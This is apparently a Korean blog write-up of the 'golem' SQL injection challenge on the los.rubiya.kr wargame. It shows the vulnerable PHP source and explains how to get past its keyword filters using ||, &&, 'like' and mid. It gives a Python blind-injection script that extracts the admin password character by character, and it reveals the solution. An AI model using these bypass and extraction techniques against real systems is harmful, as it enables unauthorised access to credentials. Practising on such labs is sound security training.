[los.rubiya.kr] golem - Write up

2021. 8. 22. 18:33카테고리 없음

문제

 

분석

 

 

 

 

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~"); 
  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe"); 
  $query = "select id from prob_golem where id='guest' and pw='{$_GET[pw]}'"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_golem where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("golem"); 
  highlight_file(__FILE__); 
?>

 

비밀번호를 알아내야 할것 같습니다.

 

 

 

  if(preg_match('/or|and|substr\(|=/i', $_GET[pw])) exit("HeHe");

 

여기서 or, and, substr, = 을 필터링 합니다.

 

필터링 우회방법을 생각해 보면..

 

or은 || 

and는 && 

=는 link

substr는 mid

로 우회를 한다면 가능할 것 같습니다.

 

 

[SQL Injection] 필터링 우회 방법 모음 :: 끄적끄적 (tistory.com)

 

 

저번, orc 코드를 응용하여..

 

import requests

pw = ""
cookie = {"PHPSESSID":"자신의 쿠기 값"}

for i in range(1,9):
    for j in range(32,128):
        url = "https://los.rubiya.kr/chall/golem_4b5202cfedd8160e73124b5234235ef5.php?pw=123'|| id like 'admin' %26%26 ascii(mid(pw,"+str(i)+",1)) like "+str(j)+"-- -"
        res = requests.get(url,cookies=cookie)
        #print(res.text)
        if "Hello admin" in res.text:
            pw += chr(j)
            print(pw)
            break

id까지 admin으로  해주고..

 

toooooo 기다려 보면.

 

 

비밀번호가 77d6290b라는 걸 알았습니다.

 

?pw=77d6290b 입력

정답

 

?pw=77d6290b 입력